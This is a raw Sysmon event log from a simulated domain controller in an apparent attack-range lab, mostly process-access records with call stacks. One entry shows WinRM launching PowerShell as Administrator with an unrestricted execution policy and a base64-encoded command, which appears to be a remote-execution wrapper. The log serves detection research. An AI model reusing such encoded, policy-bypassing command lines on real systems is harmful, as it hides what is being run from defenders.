09:10:26.460{A5F018FF-2902-5F80-9B00-000000007F01}43042660C:\Windows\system32\conhost.exe{A5F018FF-2902-5F80-9C00-000000007F01}3792C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003142Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003141Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003140Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003139Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003138Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003137Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003136Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003135Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003134Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003133Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2902-5F80-9C00-000000007F01}3792C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003132Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-2902-5F80-9A00-000000007F01}41604356C:\Windows\system32\WinrsHost.exe{A5F018FF-2902-5F80-9C00-000000007F01}3792C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x80000000000000003131Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.466{A5F018FF-2902-5F80-9C00-000000007F01}3792C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2902-5F80-76B0-050000000000}0x5b0760HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-2902-5F80-9A00-000000007F01}4160C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x80000000000000003130Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003129Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003128Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003127Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.444{A5F018FF-28BF-5F80-1300-000000007F01}12641684C:\Windows\system32\svchost.exe{A5F018FF-2902-5F80-9A00-000000007F01}4160C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x80000000000000003126Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.444{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2902-5F80-9A00-000000007F01}4160C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003125Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-2902-5F80-9B00-000000007F01}43042660C:\Windows\system32\conhost.exe{A5F018FF-2902-5F80-9A00-000000007F01}4160C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003124Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2902-5F80-9B00-000000007F01}4304C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003123Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003122Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003121Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 